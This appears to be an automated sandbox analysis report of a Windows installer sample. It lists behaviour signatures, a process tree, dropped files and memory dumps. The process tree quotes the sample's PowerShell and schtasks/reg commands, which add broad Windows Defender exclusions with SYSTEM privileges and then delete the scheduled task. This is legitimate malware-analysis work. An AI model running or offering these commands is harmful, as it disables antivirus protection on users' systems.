Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 17:55

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261024-why49swsft
  • SHA256 fa0a7e36d258f50119c48ba3b18afa47066cd6737579be588a93b468ede78b88
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4908
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1152
    • C:\Users\Public\3gZW22\f5u1gG.exe
      "C:\Users\Public\3gZW22\f5u1gG.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:260
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3gZW22\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5948
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3gZW22\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:992
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5340
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2960
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3184
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2508
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:3268
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:3420
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4968
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4116
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3996
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3452
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2592
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2940
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:3392
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:3976
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:6024
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1964
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4860
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:1136
                        • C:\Users\Public\3gZW22\f5u1gG.exe
                          "C:\Users\Public\3gZW22\f5u1gG.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:5388
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3gZW22" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5076
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3gZW22" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5160
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4656
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5716
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4196
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3300
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:860
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5744
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5052

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 11810cf2dd6b8b5afda7650271d3cda26ea641883859a578f04bf0dbad9e831d
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 9c95859992125703b840ead5dcae4d6db746509ef3d9289dda663e60b5bbc8a4
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 21d49acb308da4c6a6c49ea5ce89d8652cc70ddc9244ea23362b0de8b5fd59ce
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 d93e6c01d9a4e464e3f3e2216720d997b4b9d4a27e49ce2f5a2db6ec917c2b09
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_kqys4vty.x32.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kqys4vty.x32.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\3gZW22\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 3ef2c94adb77d853e18f538ad8bc31c96cf9907987cd1a19c6bdc11ea8f41a72
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\3gZW22\adoresd.dat
                                • Size 4.8MB
                                • SHA256 b2d30d286163a1a7fa5caf37fc2d2929b2922ee7823ebe6b3132cbd0d49d84de
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                f5u1gG.exe

                                • Path C:\Users\Public\3gZW22\f5u1gG.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\3gZW22\msadox.tb
                                • Size 8KB
                                • SHA256 d6cd925071e1b11d7b074db7dec6ce096617108d7f123de42f980ff655b16d13
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/260-607-0x0000016FB51F0000-0x0000016FB520E000-memory.dmp

                                memory/260-608-0x0000016FB54D0000-0x0000016FB5582000-memory.dmp

                                memory/260-609-0x0000016FB51E0000-0x0000016FB51EA000-memory.dmp

                                memory/260-604-0x0000016F9CD30000-0x0000016F9CD52000-memory.dmp

                                memory/4908-527-0x00007FFB3E660000-0x00007FFB3E672000-memory.dmp

                                memory/4908-526-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4908-0-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4908-504-0x00007FFB3E660000-0x00007FFB3E672000-memory.dmp

                                memory/4908-2-0x0000000000490000-0x000000000049C000-memory.dmp

                                memory/4908-1-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/5388-580-0x00007FFB23D60000-0x00007FFB2427E000-memory.dmp

                                memory/5388-583-0x000002142A4C0000-0x000002142AD97000-memory.dmp

                                memory/5388-591-0x000002142A4C0000-0x000002142AD97000-memory.dmp

                                memory/5388-590-0x000002142A4C0000-0x000002142AD97000-memory.dmp

                                memory/5388-594-0x00007FFB46650000-0x00007FFB46652000-memory.dmp

                                memory/5388-592-0x000002142A4C0000-0x000002142AD97000-memory.dmp

                                memory/5388-593-0x000002142A4C0000-0x000002142AD97000-memory.dmp

                                memory/5388-586-0x000002142A4C0000-0x000002142AD97000-memory.dmp

                                memory/5388-585-0x00007FFB46660000-0x00007FFB46662000-memory.dmp

                                memory/5748-567-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-561-0x000001A2CA280000-0x000001A2CA2CE000-memory.dmp

                                memory/5748-548-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-549-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-547-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-546-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-570-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-569-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-564-0x000001A2CA360000-0x000001A2CA3EA000-memory.dmp

                                memory/5748-553-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-559-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-562-0x000001A2CA360000-0x000001A2CA3EA000-memory.dmp

                                memory/5748-563-0x000001A2CA360000-0x000001A2CA3EA000-memory.dmp

                                memory/5748-565-0x000001A2CA360000-0x000001A2CA3EA000-memory.dmp

                                memory/5748-542-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-541-0x00007FFB46660000-0x00007FFB46662000-memory.dmp

                                memory/5748-539-0x000001A2C9660000-0x000001A2C9F37000-memory.dmp

                                memory/5748-534-0x00007FFB23D60000-0x00007FFB2427E000-memory.dmp

                                memory/5748-533-0x00007FFB46650000-0x00007FFB46652000-memory.dmp